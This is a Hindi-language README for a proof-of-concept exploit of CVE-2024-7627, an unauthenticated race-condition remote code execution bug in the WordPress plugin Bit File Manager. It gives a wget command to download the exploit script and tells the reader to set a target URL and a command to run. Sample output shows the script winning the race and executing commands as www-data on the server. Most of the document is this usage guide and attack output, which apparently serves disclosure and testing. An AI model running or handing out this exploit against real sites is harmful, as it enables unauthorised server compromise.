
WordPress प्लगइन Bit File Manager संस्करण 6.0 - 6.5.5 में रेस कंडीशन के माध्यम से अनधिकृत रिमोट कोड निष्पादन (CVE-2024-7627) भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट
यह प्रमाण-अवधारणा (PoC) स्क्रिप्ट WordPress प्लगइन Bit File Manager संस्करण 6.0 - 6.5.5 में रेस कंडीशन (CVE-2024-7627) के माध्यम से बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन कमजोरी के लिए है।
विवरण:
WordPress के लिए Bit File Manager प्लगइन संस्करण 6.0 से 6.5.5 में 'checkSyntax' फ़ंक्शन के माध्यम से दूरस्थ कोड निष्पादन के लिए संवेदनशील है। ऐसा फ़ाइल सत्यापन करने से पहले एक अस्थायी फ़ाइल को सार्वजनिक रूप से सुलभ निर्देशिका में लिखने के कारण होता है। यदि किसी व्यवस्थापक ने अतिथि उपयोगकर्ता पढ़ने की अनुमति (Guest User read permissions) दी है, तो यह बिना प्रमाणीकरण के हमलावरों को सर्वर पर कोड निष्पादित करने में सक्षम बनाता है। (से https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition)
wget https://raw.githubusercontent.com/siunam321/CVE-2024-7627-PoC/main/poc.py
file-manager को व्यवस्थापक द्वारा पहले से सेटअप किया जाना चाहिए।Python स्क्रिप्ट poc.py में targetBaseUrl, fileManagerPostPath, और/या commandToExecute को अपने इच्छित मान पर अपडेट करें। फिर, PoC स्क्रिप्ट चलाने के लिए python3 poc.py चलाएँ।
उदाहरण आउटपुट:
└> python3 poc.py
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: f3128b289e
[*] Getting a random file's hash via elFinder command "open"...
[+] Found file "wp-config-sample.php" with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA"!
[*] Editing file with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA" via elFinder command "put" and getting the edited temporary PHP file at "http://localhost/wp-content/uploads/file-managertemp.php"...
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[+] We won the race condition! Here's the PHP payload result:
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
8d3b2776e8a6